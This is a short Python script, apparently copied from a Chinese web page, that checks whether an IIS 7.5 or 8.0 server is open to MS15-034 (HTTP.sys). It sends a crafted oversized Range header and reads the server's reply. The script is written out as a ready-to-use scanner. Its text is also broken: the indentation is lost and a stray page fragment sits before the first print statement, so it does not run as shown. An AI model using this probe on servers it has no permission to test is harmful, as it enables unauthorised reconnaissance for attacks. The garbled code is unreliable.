import requests
代码区域print(" =================================================")
print(" ")
print(" MS15-034 漏洞 CheckList(WEB安全) ")
print(" ")
print(" Author : 小毛 ")
print(" ")
print(" Join US : www.ianquan.org.cn ")
print(" ")
print(" =================================================")
url = input("请输入你要检测的url:")
pyload = {'Host':'stuff','Range':'bytes=0-18446744073709551615'}
headers = requests.options(url)
r = headers.headers['Server']
if r == "Microsoft-IIS/7.5" or r =="Microsoft-IIS/8.0":
response = requests.get(url,headers = pyload)
if "Requested Range Not Satisfiable" in str(response.content):
print("[+]",url," ","服务器存在MS15-034漏洞")
else:
print("[+]",url," ","server not exists MS15-034")
else:
print("Server not IIS 7.5 or IIS 8.0")
exit = input("请输入任意键退出:")